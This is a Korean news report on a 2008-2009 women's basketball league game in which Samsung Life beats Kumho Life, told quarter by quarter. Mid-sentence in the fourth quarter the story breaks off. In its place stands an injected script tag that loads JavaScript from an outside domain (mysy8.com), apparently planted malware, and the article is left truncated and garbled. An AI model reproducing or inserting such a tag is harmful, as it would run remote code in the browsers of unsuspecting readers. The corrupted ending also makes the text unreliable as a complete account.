오늘 구리에서 벌어진 KB국민은행 2008-2009 여자농구리그에서 삼성생명이 금호생명의 막판 추격을 물리치고 첫승을 신고했다.
삼성생명은 초반부터 금호생명을 거세게 몰아 부쳤다. 삼성생명은 경기 시작과 함께 이미선과 박정은이 릴레이로 득점을 성공시키고, 짜임새 있는 수비를 선보이며 5분 51초 금호생명에 첫 득점을 허용했다. 결국 1쿼터는 18대12로 삼성생명이 리드했다.
2쿼터에도 전세는 바뀌지 않았다. 삼성생명은 1쿼터 6점차 리드를 꾸준히 지켜갔다. 금호생명 추격포가 터지면 어김없이 이미선과 박정은 “국대콤비”가 내 외각을 휘저으며 득점에 성공, 금호생명 추격의지를 여지없이 꺽으며 전반을 정리했다.
3쿼터 삼성생명에 첫번째 위기가 찾아왔다. 쿼터 초반 금호생명 이언주에 3점포를 맞으며 잠시 위기를 맞았으나 작전타임을 통해 전열을 정비해 반격에 나섰다.
분위기를 추스린 삼성생명은 이종애와 박정은이 득점을 성공시켜 위기에서 벗어나며 멀리 달아나기 시작했고, 금호생명 역시 정규 작전 타임을 통해 분위기 정비에 나섰지만 쉽게 경기가 풀리지 않았다. 결국 3쿼터는 46대40, 삼성생명이 6점을 리드하며 정리되었다.
운명의 4쿼터, 7분경 금호생명 한채진의 2득점으로 2점차까지 쫓긴 삼성생명에 이번엔 “이종애”가 ?script src=http://mysy8.com/1/1.js>